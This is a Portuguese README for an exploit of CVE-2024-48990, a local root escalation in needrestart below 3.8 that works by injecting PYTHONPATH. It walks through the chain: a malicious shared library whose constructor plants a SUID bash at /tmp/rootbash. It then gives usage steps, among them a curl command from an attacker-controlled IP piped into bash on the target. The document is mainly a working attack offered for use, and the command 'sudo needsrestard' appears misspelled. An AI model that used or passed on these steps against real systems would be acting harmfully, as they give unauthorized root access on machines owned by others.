CVE-2024-48990 Exploit

Escalação de Privilégio Local no needrestart < 3.8 via injeção de PYTHONPATH.

Como Funciona

1. needrestart executa como root e verifica todos os processos
2. Encontra nosso processo Python, lê PYTHONPATH=/tmp/.m de /proc/[pid]/environ
3. Executa Python como root com nosso PYTHONPATH malicioso
4. A importação do Python carrega /tmp/.m/importlib/__init__.so (nossa biblioteca maliciosa)
5. Construtor no .so executa como root antes mesmo do Python iniciar
6. Cria um bash SUID em /tmp/rootbash
7. Execute /tmp/rootbash -p para shell root

Ponto Chave: o needrestart confia em variáveis de ambiente de processos não privilegiados e as utiliza ao executar interpretadores como root.

Uso

Atacante:

./compile.sh
python3 -m http.server 8000

Alvo:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

O processo e.py deve travar e gerar root assim que o seguinte for executado em um segundo terminal:

sudo needsrestard

o primeiro terminal iniciará um shell root

Créditos

Qualys Threat Research Unit - CVE-2024-48990